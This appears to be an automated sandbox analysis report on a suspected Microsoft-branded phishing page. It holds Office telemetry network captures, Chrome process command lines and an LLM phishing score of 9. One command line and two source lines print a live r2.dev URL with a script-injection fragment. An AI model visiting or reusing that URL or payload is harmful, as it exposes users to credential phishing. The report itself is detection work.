3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:57 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:57 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:57 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 6b4870b1-101e-0034-5fde-2896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094757Z-r197bdfb6b4qbfppwgs4nqza800000000500000000003v4p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:57 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:57 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:57 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:57 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c0e66d29-801e-00a0-12d5-272196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094757Z-r197bdfb6b4mcssrvu34xzqc5400000006bg000000009exk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 09:47:57 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:57 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:57 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:57 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 4e9c2d7b-a01e-0053-0a2e-278603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094757Z-15b8d89586flspj6y6m5fk442w0000000c5g000000005fpk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:57 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:57 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:57 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:57 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 92eac08a-601e-0001-29b2-26faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094757Z-16849878b78bcpfn2qf7sm6hsn00000007xg00000000a6c2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:57 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:57 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:58 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:58 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 10294bf0-701e-0021-254d-273d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094758Z-17c5cb586f69w69mgazyf263an00000005hg000000003xm4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:58 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:58 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:58 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:58 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 19d379a2-b01e-0084-4b5b-28d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094758Z-15b8d89586fzhrwgk23ex2bvhw00000009600000000076tu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 09:47:58 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:58 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:58 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:58 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 6d89998c-401e-0083-425b-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094758Z-17c5cb586f6vcw6vtg5eymp4u800000004c0000000008bev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:58 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:58 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:58 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:58 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094758Z-16849878b78wv88bk51myq5vxc00000006s00000000000t5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:58 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:58 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:58 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:58 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 5fdb5a9a-801e-00a0-5f9d-292196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094758Z-17c5cb586f69w69mgazyf263an00000005d0000000009mxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:58 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:58 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:58 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:58 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 80bd6f28-d01e-002b-3d65-2725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094758Z-r197bdfb6b4grkz4xgvkar0zcs00000005vg00000000ab3q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:58 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Target ID:	0
Start time:	05:46:33
Start date:	29/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	05:46:37
Start date:	29/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=1924,i,11756480395637204584,18120610751236083768,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	05:46:40
Start date:	29/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para)"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para)	LLM: Score: 9 Reasons: The brand 'Microsoft Security' is associated with Microsoft, a well-known brand., The URL 'pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev' does not match the legitimate domain 'microsoft.com'., The domain 'r2.dev' is not associated with Microsoft and appears to be a generic or cloud service domain., The use of a subdomain with a long alphanumeric string is suspicious and often used in phishing attempts., The input fields labeled as 'u, n, k, n, o, w, n' do not provide clear context and could be a tactic to confuse users. DOM: 1.0.pages.csv
Source: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para)	LLM: Score: 9 Reasons: The URL 'pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev' does not match the legitimate domain 'microsoft.com'., The domain 'r2.dev' is not associated with Microsoft and appears to be a generic or cloud service domain., The presence of a long, random-looking subdomain 'pub-75eadb7757ac4bf2ab3de7c52d2a4895' is suspicious and indicative of phishing., The input fields contain unusual and suspicious text, which is not typical for legitimate Microsoft pages. DOM: 1.1.pages.csv

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
